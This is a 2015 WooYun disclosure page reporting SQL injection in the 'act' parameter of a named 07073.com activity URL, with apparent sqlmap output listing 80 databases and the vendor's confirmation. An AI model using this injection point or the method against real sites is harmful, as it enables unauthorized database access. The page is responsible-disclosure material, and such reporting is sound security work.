当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0160695

漏洞标题:07073某分站SQL注入

相关厂商:07073.com

漏洞作者: niliu

提交时间:2015-12-12 22:59

修复时间:2016-01-25 18:01

公开时间:2016-01-25 18:01

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-12: 细节已通知厂商并且等待厂商处理中
2015-12-14: 厂商已经确认,细节仅向厂商公开
2015-12-24: 细节向核心白帽子及相关领域专家公开
2016-01-03: 细节向普通白帽子公开
2016-01-13: 细节向实习白帽子公开
2016-01-25: 细节向公众公开

简要描述:

07073某分站SQL注入

详细说明:

注入点:

http://act.07073.com/index/index?act=txhc_20151210&mod=screenshot&fun=getMyImageStatus


act参数注入
80个数据库。基本上所有的库了包括主站,bbs等

available databases [80]:
[*] 073_activity
[*] 123_07073
[*] act07073
[*] adv07073
[*] advertising
[*] android07073
[*] askdata
[*] atlas07073
[*] baidu_xml_dev
[*] baobei
[*] bar07073
[*] bbs073
[*] box07073
[*] cache07073
[*] coderead
[*] comment
[*] datacenter
[*] db07073
[*] db07073_tx2
[*] db07073qn
[*] dbcache
[*] downloads
[*] duandi
[*] fabu07073
[*] fahao073
[*] fahao10
[*] giftcode
[*] h507073
[*] hdtemplates
[*] hi07073
[*] huodong
[*] information_schema
[*] jft073
[*] kaifuopen_hzhks
[*] kaifuopen_zjgtqxx
[*] kc07073
[*] kf07073
[*] kf07073b
[*] kf207073
[*] kf521
[*] kf77745
[*] kfshenji
[*] kfshenjibak
[*] list07073
[*] mask_bufan
[*] mesearch
[*] mobilenews
[*] molihai073
[*] monitor
[*] mysql
[*] nycc
[*] other_website
[*] paihang07073
[*] performance_schema
[*] shop073
[*] sy07073
[*] sy07073_api
[*] sy07073_fahao
[*] tieba
[*] tieba_v1_backup
[*] tongji
[*] top2011
[*] tweibo
[*] ui073
[*] wap07073
[*] webbox
[*] weixin073
[*] wenwen073
[*] wow07073
[*] www07073
[*] www07073bak
[*] wx_huodong
[*] xuan-astd
[*] xweibo
[*] youxi
[*] yxdata
[*] yxq07073
[*] zhuanchu
[*] zhuanchu2
[*] zt07073

漏洞证明:

QQ20151212-1@2x.png

修复方案:

过滤&20rank~。~

版权声明:转载请注明来源 niliu@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-14 09:06

厂商回复:

正在修复,感谢对游戏网的帮助~

最新状态:

暂无